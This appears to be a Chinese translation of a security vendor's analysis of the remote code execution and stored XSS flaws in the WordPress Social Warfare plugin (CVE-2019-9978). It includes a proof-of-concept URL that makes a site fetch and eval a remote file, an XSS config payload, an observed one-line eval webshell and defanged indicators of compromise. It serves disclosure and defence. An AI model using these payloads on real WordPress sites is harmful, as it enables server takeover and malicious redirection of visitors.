一、概述
3月21日,研究人员披露了Social Warfare中存在的两个漏洞,这是WordPress中一个非常受欢迎的插件,可以将社交网络分享按钮添加到网站或博客中。其中,一个是存储型跨站脚本攻击(XSS)漏洞,另一个是远程代码执行(RCE)漏洞,这两个漏洞共同获得CVE-2019-9978编号。在3.5.3版本之前所有版本的Social Warfare中都存在这两个漏洞。3月21日,发布了针对该漏洞的修复程序,但预计有42000个网站暂未更新至3.5.3版本,而存在漏洞。攻击者可以借助这些运动,运行任意PHP代码,在无需身份验证的情况下即可实现对网站和服务器的控制。攻击者可能会利用受感染的网站执行加密货币挖掘,或在被感染的网站上托管恶意攻击代码。Unit 42的研究人员发现了五个主动用于托管恶意攻击代码的受感染网站,使得攻击者可以控制更多网站。
在本文中,我们将对该漏洞的根本原因进行详细分析,并提供了新的信息。此外,我们还将演示漏洞的概念验证代码(PoC),以及我们在野外观察到的攻击信息,并提供易受攻击网站的范围。
二、漏洞根本原因分析
2.1 远程代码执行(RCE)漏洞
该漏洞的根本原因位于social-warfare\lib\utilities\SWP_ Databa se_Migration.php中。
WordPress Social Warfare处理$_GET[‘swp_url’]:
上图展示了,$array由$option构造,而$option又来自位于$_GET[‘swp_url’]中的远程文件。我们可以在上图的第250行中看到,$array将由eval()函数执行,而不会进行任何安全检查,这将直接导致任意代码执行。
2.2 存储型跨站脚本攻击(XSS)漏洞
该漏洞同样存在于social-warfare\lib\utilities\SWP_ Databa se_Migration.php代码之中。
要更新的代码选项:
这两个漏洞的根本原因是相同的,都是在WordPress中滥用了is_admin()函数。is_admin仅检查所请求的页面是否属于管理页面的一部分,并且不会阻止任何未经授权的访问。
三、概念证明
3.1 远程代码执行(RCE)漏洞
我们使用以下内容,操作内部环境服务器中的文件,该文件在<pre>标记内存储phpinfo函数。Phpinfo()是一个PHP函数,它展示了PHP的当前状态和环境配置。该函数通常被用作演示PHP执行的远程Payload。
<pre> Phpinfo(); </pre>
然后,我们在易受攻击的站点上访问了以下URI,发现执行了phpinfo()函数:
http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt
在发送PoC请求时运行phpinfo():
3.2 存储型跨站脚本攻击(XSS)漏洞
我们使用以下内容,操纵内部环境服务器中的配置文件:
<pre> array ( ‘analytics_campaign’ => ‘SocialWarfare’, ‘analytics_medium’ => ‘social’, ‘bitly_authentication’ => false, ‘button_alignment’ => ‘fullWidth’, ‘button_shape’ => ‘flatFresh’, ‘button_size’ => 1, ‘cache_method’ => ‘advanced’, ‘ctt_css’ => ”, ‘ctt_theme’ => ‘style1’, ‘custom_color’ => ‘#000000’, ‘custom_color_outlines’ => ‘#000000’, ‘decimal_separator’ => ‘period’, ‘decimals’ => 0, ‘default_colors’ => ‘full_color’, ‘float_alignment’ => ‘center’, ‘float_background_color’ => ‘#ffffff’, ‘float_button_count’ => 5, ‘float_button_shape’ => ‘default’, ‘float_custom_color’ => ‘#000000’, ‘float_custom_color_outlines’ => ‘#000000’, ‘float_default_colors’ => ‘full_color’, ‘float_hover_colors’ => ‘fullColor’, ‘float_location’ => ‘bottom’, ‘float_location_page’ => ‘off’, ‘float_location_post’ => ‘on’, ‘float_mobile’ => ‘bottom’, ‘float_screen_width’ => 1100, ‘float_single_colors’ => ‘full_color’, ‘float_size’ => 1, ‘float_style_source’ => true, ‘float_vertical’ => ‘center’, ‘floating_panel’ => true, ‘force_new_shares’ => false, ‘frame_buster’ => false, ‘full_content’ => false, ‘google_analytics’ => false, ‘hover_colors’ => ‘full_color’, ‘last_migrated’ => ‘3.0.5’, ‘location_archive_categories’ => ‘below’, ‘location_home’ => ‘none’, ‘location_page’ => ‘below’, ‘location_post’ => ‘below’, ‘minimum_shares’ => 0, ‘network_shares’ => true, ‘og_page’ => ‘article’, ‘og_post’ => ‘article’, ‘order_of_icons’ => array ( ‘twitter’ => ‘twitter’, ‘linkedIn’ => ‘linkedin’, ‘pinterest’ => ‘pinterest’, ‘facebook’ => ‘facebook’, ‘google_plus’ => ‘google_plus’, ), ‘order_of_icons_method’ => ‘manual’, ‘pin_browser_extension’ => false, ‘pin_browser_extension_location’ => ‘hidden’, ‘pinit_image_description’ => ‘alt_text’, ‘pinit_image_source’ => ‘image’, ‘pinit_location_horizontal’ => ‘center’, ‘pinit_location_vertical’ => ‘top’, ‘pinit_min_height’ => ‘200’, ‘pinit_min_width’ => ‘200’, ‘pinit_toggle’ => false, ‘pinterest_fallback’ => ‘all’, ‘pinterest_image_location’ => ‘hidden’, ‘recover_shares’ => false, ‘recovery_format’ => ‘unchanged’, ‘recovery_prefix’ => ‘unchanged’, ‘recovery_protocol’ => ‘unchanged’, ‘single_colors’ => ‘full_color’, ‘swp_click_tracking’ => false, ‘swp_twitter_card’ => true, ‘total_shares’ => true, ‘totals_alignment’ => ‘total_sharesalt’, ‘transition’ => ‘slide’, ‘twitter_id’ => ‘”><script>alert(/kow/)</script>’, ‘twitter_shares’ => false, ‘utm_on_pins’ => false, ) </pre>
随后,我们返回到易受攻击的WordPress主机,该主机位于http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt。
当我们访问WordPress仪表盘中的Social Warfare页面时,我们会看到如下图所示的警报。
管理员访问仪表盘时显示的警报:
四、在野外存在的漏洞利用方法
4.1 远程代码执行(RCE)漏洞
我们还发现了一些利用这些漏洞的示例,下图展示了其中一个示例的POST请求。
在野外发现的样本的POST请求:
该代码是对RCE漏洞的利用,并将操纵一个单行的WebShell,允许攻击者控制网站。
<pre>eval($_REQUEST[‘wpaa’])</pre>
4.2 存储型跨站脚本攻击(XSS)漏洞
下图展示了解码后的恶意JavaScript代码,利用该存储型XSS漏洞,将受害者重新定向到存在广告的站点。通过这种方式,攻击者可以获得广告的收入。
解码后的恶意JavaScript:
五、受影响的网站
目前,我们已经发现大约有40000个已安装该插件的网站,其中大多数都运行了易受攻击版本的插件,其中包括教育网站、财务网站和新闻网站。其中的许多网站都拥有较高的流量,我们可以在下图左侧看到Alexa的全球流量排名。
六、总结与缓解措施
Social Warfare插件在野外有许多漏洞利用方式,并且很可能会继续被恶意使用。由于目前,已经有超过7500万个网站正在使用WordPress,而且许多高访问量的WordPress网站都在使用Social Warfare插件,这些网站的用户可能会暴露在恶意软件、仿冒网页或挖矿工具的面前。我们强烈建议网络管理员应将Social Warfare更新到3.5.3或更新版本。
Palo Alto Networks的客户可通过以下产品和服务,免受这两个漏洞的侵害:
威胁防御签名55424;
PAN-DB可阻止攻击者的C&C服务器IP和域名;
WildFire和反病毒产品可以识别并阻止Payload漏洞利用。
Palo Alto Networks与我们的网络威胁联盟成员分享了针对该漏洞的全部调查结果,包括文件样本和IoC。网络威胁联盟成员可以借助这些信息,迅速部署对客户的保护,并系统地针对恶意网络参与者进行防御。有关网络威胁联盟的更多信息,请访问www.cyberthreatalliance.org。
七、IoC
pastebin[.]com/0yJzqbYf
www[.]viamarkt[.]hu/readme[.]txt
netlabs[.]gr//images/code[.]txt
www[.]acne-school[.]ru//sites/all/modules/webform/tests/subform[.]txt
www[.]tekmat[.]net/wp-content/uploads/2014/04/jpg[.]txt
customcoverinc[.]com/images/banners/shopreadme[.]txt
37[.]59[.]55[.]45
192[.]99[.]35[.]149
192[.]99[.]35[.]63
94[.]23[.]255[.]34
8[.]47[.]64[.]2
还没有评论,来说两句吧...